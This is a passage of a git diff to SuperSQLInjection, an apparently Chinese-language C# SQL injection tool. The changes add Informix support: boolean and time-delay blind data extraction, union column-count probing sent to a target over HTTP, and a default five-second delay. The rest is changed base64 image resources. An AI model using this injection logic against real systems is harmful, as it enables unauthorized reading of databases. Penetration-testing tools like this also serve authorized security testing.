MessageBox.Show("没有这么多行数据,请改小点!"); } + break; + case DBType.Informix: + if (config.keyType.Equals(KeyType.Time)) + { + isMax = findKeyInBody(Informix.getBoolCountBySleep(Informix.bool_datas_count.Replace("{dbname}", this.curren_db).Replace("{table}", this.curren_table)), (start + dataCount)); + } + else { + isMax = findKeyInBody(Informix.bool_datas_count.Replace("{dbname}", this.curren_db).Replace("{table}", this.curren_table), start + dataCount); + } + + if (isMax) + { + for (int i = 0; i < dataCount; i++) + { + GetDataPam gd = new GetDataPam(); + gd.columns = columns; + gd.dbname = this.curren_db; + gd.table = this.curren_table; + gd.limit = start + i; + gd.isMuStr = config.isMuStr; + stp.WaitFor(100); + stp.QueueWorkItem(getDataValueByBoolByInformix, gd); + } + stp.WaitForIdle(); + } + else + { + + MessageBox.Show("没有这么多行数据,请改小点!"); + } + break; } @@ -6041,6 +6641,34 @@ namespace SuperSQLInjection } stp.WaitForIdle(); break; + case DBType.Informix: + datas_count_payload = Informix.getUnionDataValue(config.unionFillTemplate, Informix.data_count, this.curren_db, this.curren_table, "", Informix.no_cast_value); + result = getOneDataByUnionOrErrorByInformix(datas_count_payload); + + this.txt_log.Invoke(new showLogDelegate(log), "报告大侠,表" + this.curren_table + "有" + Tools.convertToInt(result) + "行数据!", LogLevel.success); + + this.dataCount = Tools.convertToInt(result); + + if (this.dataCount < (dataCount + start)) + { + this.txt_log.Invoke(new showLogDelegate(log), "大侠,表" + this.curren_table + "只有" + Tools.convertToInt(result) + "行数据,你需要获取的数据没有这么多呀!", LogLevel.waring); + this.data_dbs_txt_count.Text = this.dataCount.ToString(); + break; + } + //下标从1开始 + for (int i = 0; i < dataCount; i++) + { + GetDataPam gd = new GetDataPam(); + gd.columns = columns; + gd.dbname = this.curren_db; + gd.table = this.curren_table; + gd.limit = start + i; + gd.isMuStr = config.isMuStr; + stp.WaitFor(100); + stp.QueueWorkItem(getDataValueByUnionByInformix, gd); + } + stp.WaitForIdle(); + break; } } @@ -6227,7 +6855,7 @@ namespace SuperSQLInjection foreach (String pal in list) { this.txt_log.Invoke(new showLogDelegate(log), "正在测试PayLoad:" + pal, LogLevel.info); - String[] pals = pal.Split(':'); + String[] pals = pal.Split(DBVers_Splite_Str); ServerInfo falseServer = HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, pals[1], payload_request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); decimal pfalse = Tools.getLike(oserver.body, falseServer.body); @@ -6405,7 +7033,7 @@ namespace SuperSQLInjection foreach (String cpal in error_list) { - String[] pals = cpal.Split(':'); + String[] pals = cpal.Split(DBVers_Splite_Str); //如果已经识别出了数据库类型,根据对应的数据库类型加载错误显示payload if (!config.dbType.ToString().Equals(pals[3]) && !config.dbType.Equals(DBType.UnKnow)) { @@ -6503,6 +7131,7 @@ namespace SuperSQLInjection } String rand = Tools.RandNum(5); String charRand = Tools.strToChr(rand, "UTF-8", "||"); + String informixCharRand = Tools.informixStrToChr(rand); String unionPayload = payload.Replace("{payload}", Comm.unionColumnCountTest(i, rand + "")); @@ -6518,7 +7147,7 @@ namespace SuperSQLInjection } - if (DBType.Oracle.ToString().Equals(currentDB) || DBType.PostgreSQL.ToString().Equals(currentDB) || DBType.DB2.ToString().Equals(currentDB)) + if (DBType.Oracle.ToString().Equals(currentDB) || DBType.PostgreSQL.ToString().Equals(currentDB) || DBType.DB2.ToString().Equals(currentDB)|| DBType.Informix.ToString().Equals(currentDB)) { for (int j = 1; j <= i; j++) { @@ -6547,6 +7176,31 @@ namespace SuperSQLInjection } + else if(DBType.Informix.ToString().Equals(currentDB)) + { + if (isFind) + { + break; + } + //获得所有组合情况 + List tp_list = Tools.getInformixUnionTemplates(i, j); + foreach (String tp in tp_list) + { + unionPayload = payload.Replace("{payload}", Comm.unionColumnCountTestByInformix(tp, informixCharRand)); + ServerInfo cunionServer = HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, unionPayload, payload_request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + if (cunionServer.code == 200 && cunionServer.body.IndexOf(rand) != -1) + { + isFind = true; + newParam = strparam.Replace(param, param + "" + payload.Replace("{payload}", setInjectStr) + ""); + unionInject = true; + selectInjectType(InjectType.Union); + this.txt_inject_unionTemplate.Text = tp; + break; + } + } + + } + else { if (DBType.Oracle.ToString().Equals(currentDB)) @@ -6829,8 +7483,8 @@ namespace SuperSQLInjection loadVersToListView(config.dbType); - //DB2填充模板显示是否运行设置 - if (DBType.DB2.Equals(config.dbType)) + //DB2/Informix填充模板显示是否运行设置 + if (DBType.DB2.Equals(config.dbType)|| DBType.Informix.Equals(config.dbType)) { this.txt_inject_unionTemplate.Enabled = true; this.txt_inject_unionColumnsCount.Enabled = false; @@ -6843,6 +7497,14 @@ namespace SuperSQLInjection this.txt_inject_showIndex.Enabled = true; } + ////Informix判断时间默认固定为5秒。 + if (DBType.Informix.Equals(config.dbType)) + { + this.txt_inject_key.Text = "5"; + config.maxTime = 5; + this.txt_log.Invoke(new showLogDelegate(log), "Informix延时注入,无法设置延时时间,内置延时语句一般都会执行5秒以上,所以默认设置5秒时间,如果正常响应接近5秒,可以观察日志响应时间,并稍微调大一些!", LogLevel.info); + } + } public void loadVersToListView(DBType dbtype) @@ -6866,7 +7528,7 @@ namespace SuperSQLInjection { foreach (String ver in vers) { - String[] cvers = ver.Split(':'); + String[] cvers = ver.Split(DBVers_Splite_Str); ListViewItem lvi = new ListViewItem(cvers[0]); lvi.Tag = cvers[1]; this.data_lvw_ver.Items.Add(lvi); diff --git a/SuperSQLInjection/Main.resx b/SuperSQLInjection/Main.resx index d28115a..282fa40 100644 --- a/SuperSQLInjection/Main.resx +++ b/SuperSQLInjection/Main.resx @@ -137,7 +137,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAACq - DQAAAk1TRnQBSQFMAgEBBwEAAagBCQGoAQkBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + DQAAAk1TRnQBSQFMAgEBBwEAAcABCQHAAQkBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAASADAAEBAQABCAYAAQgYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA @@ -242,8 +242,8 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 - ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABO - GQAAAk1TRnQBSQFMAgEBDwEAATABCgEwAQoBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAACe + GQAAAk1TRnQBSQFMAgEBDwEAAWgBCgFoAQoBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAAUADAAEBAQABCAYAARAYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA @@ -283,75 +283,76 @@ AQcEAAHzCAAB8xMAAfQBDgG8AfACAAFDAv8BQwIAAfABvAEOAfQBAAH/AYYEZQL0BGUBhgH/BAAB8wYA AvAB8hQAAQcBDgH0AfABEAEAAkMBAAEQAfAB9AEOAQcDAAHxBGUC9ARlAfEFAAHzBgAB8AHzFQAB/wHr AQ4BvAH/AfACkgHwAf8BvAEOAesB/wQAAfMBhgZlAYYB8gYAB/IB8xcAAf8BBwEOARMBkgLwAZIBEwEO - AQcB/wYAAf8BBwGuAoYBrgEHAf8oAAH0Ae8B7AIRAewB7wH0NAAB8QHvAbwB8wL0BP8C9AGTAW8BBw0A - Af8B9AQAAe0BDgEPAQ4BAAEOAwABDgEAAe0IAAH/AfAB9wHvAbwB8wH/AwAB7wHyAfcBvAf/AZMBbwGU - AW8MAAHwAg4B7wMAARMB9wHyAfcBvAHwAQcBEQHyAfEB7wETCAAB8gHtA64B9wHwAf8CAAHxAfcB8QH3 - AfEFAAGTAW8BFgFvAQcFAAb/AfIBDgFDARQBDgHzAgABEwH3AewBEQHyAQAB8gH3AZIBBwHvARMHAAHz - Au0BbQIUAW0B7QHzAwAB8QHvAfAB7wHxAwABkwFvARYBbwEaBQAC/wHxAe8B7AHtAfcB7AERAhQBDgH/ - AgABEwH3AewBAAHzAewB8wEVAfIB6wERARMGAAH0AfcBrgHtARIB7AESARUBEwHxBAAB8QHvAbwB7wHx - AQABkwFvARYBbwEaBQAB/wH0AQcB7wHwAfMB8gHwAfcBbQETAQ8BBwMAAhMBFQEAAQ8B7AEPAQABQwHt - AUMBEwUAAf8B7wKuAe0BEgHvAd0BBwHrAbwFAAHxAe8BvAEHAbwBbwHjAW8BGgYAAf8CBwHwAbQCiwG0 - AfABBwFtAe8EAAHsCvAB7AQAAf8BBwOuAe0B6gHvAfAB3QGSAe8GAAHxAQcBbwFFAeMBFgEaBwAB8gHv - AfEBigSyAa0B8gHvAfIEAAHtAQAB/wUHAbwCAAHtAwAB/wG8Au0CrgHtAeoBBwHxAfAC9wH/BgAB8QFG - AZQBRgG8CAABBwHxAbQBswWyAbQB8QEHBAAB7QEAAfIB/wP0Af8BvAIAAe0DAAHzAfcDtQLtAeoBvAHz - AfIB7wHtAf8GAAEHARwCbwEHAu8BBwHwAf8DAAH3AfQGswGyAbMB9AH3BAAB7QEAAfIB/wP0Af8BvAIA - Ae0DAAHzBrUBbQHwAf8B9AG8AewB/wUAAgcBvAHyAbwCBwK8AgcB/wIAAe8B9AGzAbkGswH0Ae8EAAHt - AQAB8gH/A/QB/wG8AgAB7QMAAfMGtQHrAfIC/wHyAewB9AQAAQcCvAEAAf8BvAIHAbwB7wHxAQcB8QIA - AQcB8gG6AbkB2wHaAtsBuQG6AfIBBwQAAe0BAAHyAf8D9AH/AbwCAAHtAwAB8wa1AewB7QH3Ae8BvAHs - AfQDAAEHArwDAAHwArwB7wHzAQcB8gHwAgAB8wEHAfQBswTbAbMB8wEHAfMEAAHtAQAB8gX3AewC9AHs - AwAB8wIJAgcDtQH3Ae0C7AFtAfMBAAHxAQcC8AQAAfEB8AHvAfMBAAH/AfAB8QMAAfEB8AHzAboBtAK6 - AfMC8QUAAe0BAAHyAesBEwERAm0DAAGSAwAB8wEJAd0CCQG8At0D8wG8AfcB8gEAAbwB8wHwBQAB8gG8 - AfEB7wH/AQAC/wMAAf8B8QEHAfMB9AH/AfMBvAHxAf8FAAHtAQAB/wHzAfIB8QLyARABAAHrAf8DAAHz - A90FGQHzAvQB8QHyAQAB8gHxAfIFAAH/AfEB8AHyAbwB/wcAAfMB8AIHAfAB8wcAAe0HAAERARMB/wQA - AfMBGQHzBfQB8wLxAfIB8wH/CgAB/wHzAvEB/xQAAfcH7QEVAf8FAAH0AvEE8AHxAfMB9AH/BgAB/wG0 - AgABBwgSAQcQ/wESBBUB/wFDASoC/wHvAhUBEhIAAbUEzwEAAeoI/wHqAf8O1AH/AW0F/wEqAfYCIwP/ - AW0SAAHPAQAB/wG0AgABbQH/AvQE8wH/AW0B/wHUAtwBGQL0ARkB3AHbAdoB0wHUAdsB1AH/AW0B/wPz - Af8BKgH2AcMBegGmAv8BbQIAAuwEAAPsBAAC7AEAAc8FAAFtAf8B9AXzAf8BbQH/AdQC3AEZAvQBGQHc - AdsB2gHTAdQB2wHUAf8BbQH/A/QC/wEqAXoBswHTAaYB/wEHAgAB7AH/BOwB/wHsAf8E7AH/AewHAAHr - Af8G8wH/AesB/wHUAhkB9AL/AfQBGQEJA9wBCQHUAf8B6wH/BPQB/wEqAQkB4gGzAdMBpgL/AQAB7AX/ - AewB/wHsBf8B7AEAAbsFbAHsAf8G8wH/AewB/w7UAf8B6wH/BPQC/wGsAQkB4gGzAdMBpgL/AewG/wHs - Bv8B7AEAAYsFGQHsAf8G8wH/AewB/wHUAtwBGQL0ARkB3AHbAdoB0wHUAdsB1AH/AesB/wX0Av8BrAEJ - AeIBswHTAaYB/wHsAf8B7AH/AewB/wHsAf8B7AX/AewBAAGLBRkB7AH/BPMD/wHsAf8B1ALcARkC9AEZ - AdwB2wHaAdMB1AHbAdQB/wHrCf8BrAEJAeIBswEmASAB7AL/AewD/wHsBv8B7AEAAZAFGQHtAf8E8wH/ - Au0B8AH/AdQC3AEZAvQBGQHcAdsB2gHTAdQB2wHUAf8B7Ar/AawBCQH/ASYBIAHsAf8B7AP/AewB/wHs - Bf8B7AEAAZAFGQGSBv8BkgEHAQAB/wHUAhkB9AL/AfQBGQEJA9wBCQHUAf8B7Av/AawBJgHeASUB7AL/ - AuwC/wHsBv8B7AEAAbMFGQEHBvcB8AIAAf8O1AH/AewJ/wL0Af8BJQEgAf8B7AH/AewD/wHsAf8B7AX/ - AewBAAGzBRkCCQEZAbMGAAH/AdQC3AEZAvQBGQHcAdsB2gHTAdQB2wHUAf8B7Aj/AbUC6gEHA/8B7AL/ - AuwC/wHsBv8B7AEAAbkEGQEJAxkBuQQAAc8BAAH/AdQC3AEZAvQBGQHcAdsB2gHTAdQB2wHUAf8B7Aj/ - AbUD/wH3AgAC7AT/AewB/wHsBP8C7AEAAbkDGQIJARkCuQEJAf8BtAIAAc8BAAH/AdQCGQH0Av8B9AEZ - AQkD3AEJAdQB/wHsCP8BtQL/AfcFAATsAQAB7AEABOwDAAG5BhkBuQG6AQAEzwG1AQAB/w7UAf8B7Qj/ - AbUB/wH3FAABCQa5AQkCAAH/AbQEABD/Cu0B90gAAvABvAHvApEB7wG8AvAHAAEHAXIBTwNJAXIBBwUA - Dv8DAAG8DAABBwIAAbwBBwH3Ae8BswLbAbMC7wEHAbwFAAGYAU8BUASYAU8BSQEcBAABBwzrAQcCAAHz - AQACBwr/AgAB8AG7ArMBkAG6AtsBugGQArMBuwHwAwABmAFPAXgBCAGYApcBmAEIAZcBSQEcAwAB6wwH - AesFAAP0CP8CAAHwAbQC3AbbAtwBtAHwAgABBwFPAXgBCAaXAQgBlwFJAQcCAAHsAbwKDwG8AewCAAHz - AQACBwP0B/8CAAG8AbMB3ALbAdwC2wHcAtsB3AGzAbwCAAF4AVYBCAKXAXgBGwGYA5cBCAFPAXICAAHs - AfAKEAHwAewFAAP0AesBDgEQAewBEQP/AQABvAHvAbQD2wGzAroBswPbAbQB7wG8AQABUAKYAZcBeAP/ - AZgClwKYAU8CAAHsAfEBEAIRAv8BEQH/AhEBEAHxAewCAAHzAQACBwH0AfABAAHwAfQB7QEAA/8BAAEH - AbMBugHbAdwBswG8AgABvAGzAdwB2wG6AbMBBwEAAU8BmAGXAXgC/wH0Av8BmAKXAZgBSQIAAewB8QER - AUMB/wZDAREB8QHsBQAC8wHyAQ4B7AHzAbwBAAH0Av8BAAG7AdsC3AHbAbQEAAG0AdsC3AHbAbsBAAFV - AQgBeAGXAQgB8QGXAQgC/wGYAZcBmAFPAgAB7AHyAREBFQH/AxUB/wIVAREB8gHsAgAB8wEAAQcB7wLz - AQcBEwEOAQ8BAAL0Af8BAAG7AdsD3AG0AbwC8AG8AbQD3AHbAbsBAAFWApgFlwEIAf8B8wKYAU8CAAHs - AfMBQwIVAv8EFQFDAfMB7AUAA/MBvAHyAfQB7AEQA/QBAAG8AbMC2wHcAbMBkgIHAZIBswHcAtsBswG8 - AQABmAGXAQgGlwEIAZcBCAFQAZcCAAHsAfQBQwgUAUMB9AHsAgAB8wEAAQcB7wLzAewBDwEOAREB7wP0 - AgABvAG0AdsB4QHcAbMCkAGzAdwB4QHbAbQBvAIAAQgBVgF4AQgGlwEIAXgBTwEHAgAB7QH/CkMB/wHt - BQAB8gfzA/QCAAG8AbMBGQPhAtwD4QEZAbMBvAMAAZgBVgF4AQgBmAJ4AZgBCAF4AU8BmAMAAe0M/wHt - AgAB8wEAAQcB7wLyBvMC9AMAAbQB3AHiAtsC4QLbAeIB3AG0BQABmAFWAZcEmAGXAVABmAQAAfAM7QHw - BQAE8gfzAwABuwG0AbMBtAHbAuIB2wG0AbMBtAG7BgABCAGYBFYBmAEHFQAB8wEADP8FAAK8AbMC2wGz - ArwmAAG8DAABvAYAAbwCuwG8BgABQgFNAT4HAAE+AwABKAMAAUADAAFAAwABAQEAAQEGAAECFgAD/wEA - AfABDwT/AgABwAEDAfABDwL/AgABgAEBAeABBwHgAQcCAAGAAQEBwAEDAe8B9wQAAoEB4AEHAgABAQGA - AoEB7wGHAgABAQGAAoEB7wHDAgABAQGAAoEB4AEBBAABgAEBAeABAQQAAYABAQHgARcEAAGAAQEB7wH3 - BAABgAEBAe8BxwIAAYABAQHAAQMB7wHPAgABgAEBAeABBwHgAR8CAAHAAQMB8AEPAv8CAAHwAQ8E/wMA - AQEB/wHzAcABAwH8AQcBAAEBAf8B4QHAAQMB/AEDAQcBwQHwAQABwAEDAfgBAwKDAeABAAHAAQMB8AED - AcEBBwHAAQEBwAEDAeABAwHgAQ8BwAEDAcABAwHAAQMB8AEfAcABAwHQARsBgAEBAfgBPwHAAQMB0AEb - AYABAQH4AQEBwAEDAdABGwGAAQEB8AEAAcABAwHQARsBgAEBAeIBAAHAAQMB0AEbAYABAQHHAQABwAED - AdABAwGAAQEBDwEIAeABBwHQAQMBgAEBAR8BBAHgAQcB0AEDAYABAQEfAQMB+AEfAd8BxwGAAQEB/wGD - Av8BwAEPAYABDwHMBAABAwL/AQQEAAEDAv8BTAQAAQMBPAF5AXwEAAEDAQABAQH8BAABAQEAAQEHAAEB - BwABAQcAAQEHAAEBAQABAQUAAQEBAAEDBQABAQEAAT8FAAEBAQABPQMAAQMBAAEBAQABDQMAAQcBwgGH - AQABQQMAAQ8C/wEAAc8DAAEfCP8B4AEHAfABDwGAAQEBwAEAAcABAwHgAQcBgAEBAYABAAGAAQEBwAED - AYABAQGAAQABgAEBAYABAQGAAQEBgAEAAYABAQGAAQEBgAEBAYADAAGAAQEBgAEBAYABAAEBAoABAQGA - AQEBgAEAAQMBwAGAAQEBgAEBAYADAAGAAQEBgAEBAYADAAGAAQEBgAEBAYABAAGAAQEBgAEBAYABAQGA - AQABgAEBAcABAwGAAQEBgAEAAcABAwHgAQcBgAEBAYABAAHAAQMB8AEPAv8BgAEAAfABDwT/AcABAAH8 - AT8L + AQcB/wYAAf8BBwGuAoYBrgEHAf8oAAH0Ae8B7AIRAewB7wH0QAAB/wH0BAAB7QEOAQ8BDgEAAQ4DAAEO + AQAB7RIAAfEB7wG8AfMC9AT/AvQBkwFvAQcMAAHwAg4B7wMAARMB9wHyAfcBvAHwAQcBEQHyAfEB7wET + EgAB7wHyAfcBvAf/AZMBbwGUAW8FAAb/AfIBDgFDARQBDgHzAgABEwH3AewBEQHyAQAB8gH3AZIBBwHv + ARMCAALsBAAD7AQAAuwBAAHxAfcB8QH3AfEFAAGTAW8BFgFvAQcEAAL/AfEB7wHsAe0B9wHsARECFAEO + Af8CAAETAfcB7AEAAfMB7AHzARUB8gHrAREBEwIAAewB/wTsAf8B7AH/BOwB/wHsAgAB8QHvAfAB7wHx + AwABkwFvARYBbwEaBAAB/wH0AQcB7wHwAfMB8gHwAfcBbQETAQ8BBwMAAhMBFQEAAQ8B7AEPAQABQwHt + AUMBEwIAAewF/wHsAf8B7AX/AewDAAHxAe8BvAHvAfEBAAGTAW8BFgFvARoFAAH/AgcB8AG0AosBtAHw + AQcBbQHvBAAB7ArwAewCAAHsBv8B7Ab/AewEAAHxAe8BvAEHAbwBbwHjAW8BGgYAAfIB7wHxAYoEsgGt + AfIB7wHyBAAB7QEAAf8FBwG8AgAB7QIAAewB/wHsAf8B7AH/AewB/wHsBf8B7AUAAfEBBwFvAUUB4wEW + ARoHAAEHAfEBtAGzBbIBtAHxAQcEAAHtAQAB8gH/A/QB/wG8AgAB7QIAAewC/wHsA/8B7Ab/AewGAAHx + AUYBlAFGAbwIAAH3AfQGswGyAbMB9AH3BAAB7QEAAfIB/wP0Af8BvAIAAe0CAAHsAf8B7AP/AewB/wHs + Bf8B7AYAAQcBHAJvAQcC7wEHAfAB/wMAAe8B9AGzAbkGswH0Ae8EAAHtAQAB8gH/A/QB/wG8AgAB7QIA + AewC/wLsAv8B7Ab/AewFAAIHAbwB8gG8AgcCvAIHAf8CAAEHAfIBugG5AdsB2gLbAbkBugHyAQcEAAHt + AQAB8gH/A/QB/wG8AgAB7QIAAewB/wHsA/8B7AH/AewF/wHsBAABBwK8AQAB/wG8AgcBvAHvAfEBBwHx + AgAB8wEHAfQBswTbAbMB8wEHAfMEAAHtAQAB8gX3AewC9AHsAgAB7AL/AuwC/wHsBv8B7AMAAQcCvAMA + AfACvAHvAfMBBwHyAfADAAHxAfAB8wG6AbQCugHzAvEFAAHtAQAB8gHrARMBEQJtAwABkgIAAuwE/wHs + Af8B7AT/AuwBAAHxAQcC8AQAAfEB8AHvAfMBAAH/AfAB8QMAAf8B8QEHAfMB9AH/AfMBvAHxAf8FAAHt + AQAB/wHzAfIB8QLyARABAAHrAf8EAATsAQAB7AEABOwDAAG8AfMB8AUAAfIBvAHxAe8B/wEAAv8FAAHz + AfACBwHwAfMHAAHtBwABEQETAf8TAAHyAfEB8gUAAf8B8QHwAfIBvAH/FAAB9wftARUB/x0AAf8B8wLx + Af8kAAH/AbQCAAEHCBIBBxEADv8RAAG1BM8BAAHqCP8B6gQAAQcBcgFPA0kBcgEHBQABBwzrAQcGAAH/ + AfQC8wH/BfMB/wHPAQAB/wG0AgABbQH/AvQE8wH/AW0DAAGYAU8BUASYAU8BSQEcBAAB6wwHAesCAAH/ + AZoBTAGaAf8DbwEaBW8B9AHPBQABbQH/AfQF8wH/AW0CAAGYAU8BeAEIAZgClwGYAQgBlwFJARwDAAHs + AbwKDwG8AewBAAH/ARYBlAH0AQAB/wnzAf8GAAHrAf8G8wH/AesBAAEHAU8BeAEIBpcBCAGXAUkBBwIA + AewB8AoQAfAB7AEAAfQBbwMAAfQJbwH0AbsFbAHsAf8G8wH/AewBAAF4AVYBCAKXAXgBGwGYA5cBCAFP + AXICAAHsAfEBEAIRAv8BEQH/AhEBEAHxAewBAAEaAZMDAAH/BRoBGwMaAf8BiwUZAewB/wbzAf8B7AEA + AVACmAGXAXgD/wGYApcCmAFPAgAB7AHxAREBQwH/BkMBEQHxAewBAAH0AUYB/wIAAf8FGgEbAxoB/wGL + BRkB7AH/BPMD/wHsAQABTwGYAZcBeAL/AfQC/wGYApcBmAFJAgAB7AHyAREBFQH/AxUB/wIVAREB8gHs + AgACbwH/BwAB/wEaAf8CAAGQBRkB7QH/BPMB/wLtAfABAAFVAQgBeAGXAQgB8QGXAQgC/wGYAZcBmAFP + AgAB7AHzAUMCFQL/BBUBQwHzAewCAAH/AZMBJQH0BQABGgFGASUBkwIAAZAFGQGSBv8BkgEHAgABVgKY + BZcBCAH/AfMCmAFPAgAB7AH0AUMIFAFDAfQB7AQAARsBTAH/BAAB9AEaARYBRgH/AQABswUZAQcG9wHw + AwABmAGXAQgGlwEIAZcBCAFQAZcCAAHtAf8KQwH/Ae0FAAEaAW8B9gIAAf8BGgFMAf8B9AH/AQABswUZ + AgkBGQGzBwABCAFWAXgBCAaXAQgBeAFPAQcCAAHtDP8B7QYAARsBTAFGAW8BRgGTAf8EAAG5BBkBCQMZ + AbkEAAHPAwABmAFWAXgBCAGYAngBmAEIAXgBTwGYAwAB8AztAfAIAAL/BwABuQMZAgkBGQK5AQkB/wG0 + AgABzwQAAZgBVgGXBJgBlwFQAZgjAAG5BhkBuQG6AQAEzwG1BQABCAGYBFYBmAEHJAABCQa5AQkCAAH/ + AbQXAALwAbwB7wKRAe8BvALwAwAQ/wYAAf8B8AH3Ae8BvAHzAf8DAAESBBUB/wFDASoC/wHvAhUBEgQA + AbwBBwH3Ae8BswLbAbMC7wEHAbwCAAH/DtQB/wYAAfIB7QOuAfcB8AH/AgABbQX/ASoB9gIjA/8BbQMA + AfABuwKzAZABugLbAboBkAKzAbsB8AEAAf8B1ALcARkC9AEZAdwB2wHaAdMB1AHbAdQB/wUAAfMC7QFt + AhQBbQHtAfMCAAFtAf8D8wH/ASoB9gHDAXoBpgL/AW0DAAHwAbQC3AbbAtwBtAHwAQAB/wHUAtwBGQL0 + ARkB3AHbAdoB0wHUAdsB1AH/BAAB9AH3Aa4B7QESAewBEgEVARMB8QIAAW0B/wP0Av8BKgF6AbMB0wGm + Af8BBwMAAbwBswHcAtsB3ALbAdwC2wHcAbMBvAEAAf8B1AIZAfQC/wH0ARkBCQPcAQkB1AH/AwAB/wHv + Aq4B7QESAe8B3QEHAesBvAIAAesB/wT0Af8BKgEJAeIBswHTAaYC/wEAAbwB7wG0A9sBswK6AbMD2wG0 + Ae8BvAH/DtQB/wIAAf8BBwOuAe0B6gHvAfAB3QGSAe8CAAHrAf8E9AL/AawBCQHiAbMB0wGmAv8BBwGz + AboB2wHcAbMBvAIAAbwBswHcAdsBugGzAQcB/wHUAtwBGQL0ARkB3AHbAdoB0wHUAdsB1AH/AQAB/wG8 + Au0CrgHtAeoBBwHxAfAC9wH/AQAB6wH/BfQC/wGsAQkB4gGzAdMBpgH/AbsB2wLcAdsBtAQAAbQB2wLc + AdsBuwH/AdQC3AEZAvQBGQHcAdsB2gHTAdQB2wHUAf8BAAHzAfcDtQLtAeoBvAHzAfIB7wHtAf8BAAHr + Cf8BrAEJAeIBswEmASABuwHbA9wBtAG8AvABvAG0A9wB2wG7Af8B1ALcARkC9AEZAdwB2wHaAdMB1AHb + AdQB/wEAAfMGtQFtAfAB/wH0AbwB7AH/AQAB7Ar/AawBCQH/ASYBIAG8AbMC2wHcAbMBkgIHAZIBswHc + AtsBswG8Af8B1AIZAfQC/wH0ARkBCQPcAQkB1AH/AQAB8wa1AesB8gL/AfIB7AH0AQAB7Av/AawBJgHe + ASUBAAG8AbQB2wHhAdwBswKQAbMB3AHhAdsBtAG8AQAB/w7UAf8BAAHzBrUB7AHtAfcB7wG8AewB9AEA + AewJ/wL0Af8BJQEgAf8BAAG8AbMBGQPhAtwD4QEZAbMBvAEAAf8B1ALcARkC9AEZAdwB2wHaAdMB1AHb + AdQB/wEAAfMCCQIHA7UB9wHtAuwBbQHzAQAB7Aj/AbUC6gEHA/8CAAG0AdwB4gLbAuEC2wHiAdwBtAIA + Af8B1ALcARkC9AEZAdwB2wHaAdMB1AHbAdQB/wEAAfMBCQHdAgkBvALdA/MBvAH3AfIBAAHsCP8BtQP/ + AfcEAAG7AbQBswG0AdsC4gHbAbQBswG0AbsCAAH/AdQCGQH0Av8B9AEZAQkD3AEJAdQB/wEAAfMD3QUZ + AfMC9AHxAfIBAAHsCP8BtQL/AfcHAAK8AbMC2wGzArwEAAH/DtQB/wEAAfMBGQHzBfQB8wLxAfIB8wH/ + AQAB7Qj/AbUB/wH3CgABvAK7AbwGABD/AQAB9ALxBPAB8QHzAfQB/wQACu0B9wUAAUIBTQE+BwABPgMA + ASgDAAFAAwABQAMAAQEBAAEBBgABAhYAA/8BAAHwAQ8E/wIAAcABAwHwAQ8C/wIAAYABAQHgAQcB4AEH + AgABgAEBAcABAwHvAfcEAAKBAeABBwIAAQEBgAKBAe8BhwIAAQEBgAKBAe8BwwIAAQEBgAKBAeABAQQA + AYABAQHgAQEEAAGAAQEB4AEXBAABgAEBAe8B9wQAAYABAQHvAccCAAGAAQEBwAEDAe8BzwIAAYABAQHg + AQcB4AEfAgABwAEDAfABDwL/AgAB8AEPBP8CAAH/AfMBwAEDAv8BAAEBAf8B4QHAAQMC/wEAAQEB8AEA + AcABAwE8AXkBBwHBAeABAAHAAQMBAAEBAoMBwAEBAcABAwEAAQEBwQEHAcABAwHAAQMBAAEBAeABDwHA + AQMB0AEbAQABAQHwAR8BwAEDAdABGwEAAQEB+AE/AcABAwHQARsBAAEBAfgBAQHAAQMB0AEbAQABAQHw + AQABwAEDAdABGwEAAQEB4gEAAcABAwHQAQMBAAEBAccBAAHgAQcB0AEDAQABAQEPAQgB4AEHAdABAwHC + AYcBHwEEAfgBHwHfAccC/wEfAQMC/wHAAQ8D/wGDBP8BzAEAAv8BgAEBAv8BBAEAAfABDwGAAQEB+AEA + AUwBAAHgAQcBgAEBAYABAAF8AQABwAEDAYABAQEIAQAB/AEAAYABAQGAAQEBOAMAAYABAQGAAQEBOAMA + AYABAQGAAQEBGAMAAYABAQGAAQEBjwHjAgABgAEBAYABAQGHAcMBAAEBAYABAQGAAQEB4wHBAQABAwGA + 